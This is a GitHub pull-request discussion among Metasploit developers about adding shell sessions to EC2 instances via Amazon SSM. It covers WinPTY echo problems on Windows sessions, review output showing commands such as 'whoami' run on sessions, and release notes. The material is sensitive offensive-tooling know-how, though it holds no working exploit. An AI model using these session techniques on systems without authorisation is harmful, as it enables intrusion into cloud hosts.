[-] Session manipulation failed: not in gzip format ["/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777:in `initialize'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777:in `new'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:777:in `_read_file_powershell_fragment'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:753:in `block in _read_file_powershell'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:752:in `loop'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:752:in `_read_file_powershell'", "/Users/user/Documents/code/metasploit-framework/lib/msf/core/post/file.rb:481:in `read_file'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:430:in `cmd_download'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:617:in `run_builtin_cmd'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:605:in `run_single'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:769:in `_interact_stream'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:745:in `block in _interact'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:49:in `with_context'", "/Users/user/Documents/code/metasploit-framework/lib/msf/base/sessions/command_shell.rb:744:in `_interact'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/interactive.rb:53:in `interact'", "/Users/user/Documents/code/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:1682:in `cmd_sessions'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:581:in `run_command'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:530:in `block in run_single'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `each'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:524:in `run_single'", "/Users/user/Documents/code/metasploit-framework/lib/rex/ui/text/shell.rb:162:in `run'", "/Users/user/Documents/code/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/Users/user/Documents/code/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'", "./msfconsole:23:in `<main>'"]

I implemented a type of echo suppression which seems to work on the unix sessions - should we try to expand this to prevent the PSH echo as well?

@smcintyre-r7
Copy link
Contributor

After spending additional days trying to fix the Windows SSM session, I have been unable to find a solution that can reliably address this issue.

The remote side using WinPTY poses a significant complication that is simply unaccounted for within our post API. I explored two solutions in an attempt to address this.

The echoing could be disabled. This is the approach taken with the Linux sessions through some stty and pipe trickery. Once the command has been run, the session no longer behaves as though it's within a TTY. I was unable to find a working solution to implement this but it's theoretically possible using the .NET API to invoke native methods. This in and of itself would likely pose a risk to the session by increasing the detection surface.

The PTY related characters could be filtered. This is the existing proposed solution however it simply doesn't work in all the necessary cases. I found that tests would fail intermittently because a chunk of data that was read from the socket didn't match the string that was to be filtered because it was incomplete. I attempted to account for this by using a line buffering approach. I took the data that was to be filtered and queued it by line. I then attempted to check each line as it was read after the entire line was read to see if it ended with the top queue item. This was further complicated by the fact that the remote end would not only echo the typed characters back but also reprint the prompt. Where I left off was in dealing with long lines that were being sent and received. On sending a large command to upload a file, the remote end would interrupt it by sending back the prompt which after stripping the PTY control characters simply couldn't be accounted for.

It's my recommendation that we completely remove support for the Windows platform until a significant amount of time has been invested in fixing the issues to make the session work as sessions are expected to work in Metasploit. At one point @adfoster-r7 had suggested we find a way to mark this as not working with any post modules which would be feasible if the meta-shell commands (such as download) can be blocked as well.

On Monday, I'll look into implementing the restrictions on the session and if I'm unsuccessful, I'll remove Windows support so we can advance the remaining work as is and get Linux support merged.

@sempervictus
Copy link
Contributor Author

sempervictus commented May 19, 2023

Thank you for deep diving the nonsense @smcintyre-r7. I owe you a new dry suit and air tank as i doubt any amount of sanitization will get that smell out.
As i understand this, we're running a powershell environment which renders XML into something that looks like text atop a "pty" implementation which is aberrant in windows anyway through the websocket.
We know the websocket works more or less correctly since we got the POSIX stuff to work, but the corner-cases of the above coupled with the odd re-printing of the prompt make full acceptance testing infeasible. I dont think its on us to fix MSFTs decisions - nobody here's paid nearly enough for that, but i also dont think we want to lose what could be a very useful form of interaction with a windows target environment due to instability. This was the problem with UDP shells as well: UDP's stateless, can just fail, and you're left sitting there beating your head against the wall (fine for hackers with no other way out, not great when you're sticking it into a product).

Could we "cheat" and instantiate cmd.exe instead of PSH on the other side using the AWS SSM command doc to avoid the rendering issue? IMO PSH belongs in blocks encoded on the commandline and staging binary payloads handing their own MM 😉.
Can we "gate" the windows option behind a dammit-i-know-what-im-doin-jim barrier to avoid selective redaction of session capabilities having to be implemented before this can land?

@smcintyre-r7
Copy link
Contributor

FWIW I blame Amazon for the decision to use WinPTY which is the real culprit behind our woes not Microsoft.

I'll look at using cmd.exe again, but I don't suspect it'll change anything because it too will be running within WinPTY and have the same echoing, line break issues.

@sempervictus
Copy link
Contributor Author

sempervictus commented May 20, 2023

If this is what they're using, then it appears to not have been updated for 5y.
I suppose we could "promote migration to a safer mechanism" by finding & disclosing -> publishing a vuln in that thing 😇. Disclosure timelines would slow things down, but eventually we'd be rid of the nonsense.

Also looks like the thing has a debug mode similar to how meterp is wired:

Debugging winpty
winpty comes with a tool for collecting timestamped debugging output. To use it:

Run winpty-debugserver.exe on the same computer as winpty.
Set the WINPTY_DEBUG environment variable to trace for the winpty.exe process and/or the process using libwinpty.dll.
winpty also recognizes a WINPTY_SHOW_CONSOLE environment variable. Set it to 1 to prevent winpty from hiding the console window.

I have a sneaking suspicion that the output cleanup you're dealing with in PSH sessions has something to do with their buffering semantic (since the reality is that they're buffering XML at its character boundary, or even binary stream; not the rendered characters/colors which it represents). The re-appearance of the prompt may also be a side-effect of this: the dotnet compiler thing can (or could?) be run in an interactive PSH session - that's a lot of LOC including the code which its compiling down to CIL.

Regarding assignment of blame: its kinda like any other software ecosystem - ultimately, the blame rests with the architects who lacked the foresight to predict the machinations of the hordes upon their whiteboard-wonderful creations. Which is exactly why the horrific things you're doing to get this across differentiate the Metasploit team from MSFT 😄

* Prevent using post modules with the session

It doesn't work reliably because of winpty and how the output is
mangled.

* Set the limit correctly

* Fix Linux PTY downgrade issues

* Remove filtering

The filtering implementation is incomplete and unnecessary.

Filtering is unnecessary because Linux sessions execute a stub on
session start up that uses a combiantion of stty and a fifo to emulate a
PTY-less session. Windows sessions do not need filtering because they
have been explictly marked as being incompatible with the Post API which
is confused by the extra characters.

The filtering implementation is incomplete because it does not account for
echo fragments that are split across lines. It also does not account for
all of the ANSI escape codes.

* Add module docs for enum_ssm
Copy link
Contributor

@adfoster-r7 adfoster-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All my previous issues have been fixed - i.e.

  1. ctrl+z/ctrl+c support works as expected now

  2. the post modules running against the windows shell give a warning now:

msf6 post(windows/gather/enum_shares) > run session=-1

[-] Msf::OptionValidateError The following options failed to validate:
[-] Invalid option SESSION: Session does not support post modules.
[*] Post module execution completed
  1. The -c option for sessions works for linux, but is a bit broken for windows:
msf6 post(windows/gather/enum_shares) > sessions -c whoami
[*] Running 'whoami' on shell session 6 (x.x.x.x)
ssm-user

[*] Running 'whoami' on powershell:winpty session 7 (x.x.x.x)

Not a blocker: sometimes when you interact with the shell afterwards, you can see the token logic appear

  1. The upload/download/etc metashell commands still give help output, but doesn't work when performing the action
PS C:\Windows\system32> download
Usage: download [src] [dst]

Downloads remote files to the local machine.
Only files are supported.

upload /tmp/foo foo
[-] Session does not support file transfers.

All looks well to get this landed 👍

@sempervictus
Copy link
Contributor Author

I feel like i should be sending 💐 to @smcintyre-r7 and @adfoster-r7 for the insane amount of QA work which this required. Thanks a ton to everyone who helped get this over the finish line. If anyone has time before i do to port the handler fixes to #17600, then i think we can get that one landed as well (probably merits checking if the shell under the SSH connection is a really TTY under the kin).

@smcintyre-r7 smcintyre-r7 merged commit 8378435 into rapid7:master Jun 1, 2023
30 checks passed
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds the ability for Metasploit to establish sessions to EC2 instances using Amazon's SSM interface. The result is an interactive shell that does not require the user to transfer a payload to the EC2 instance. For Windows targets, the shell is a a PTY enabled Powershell session that is incompatible with Post modules but supports user interaction.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
module needs-docs rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

6 participants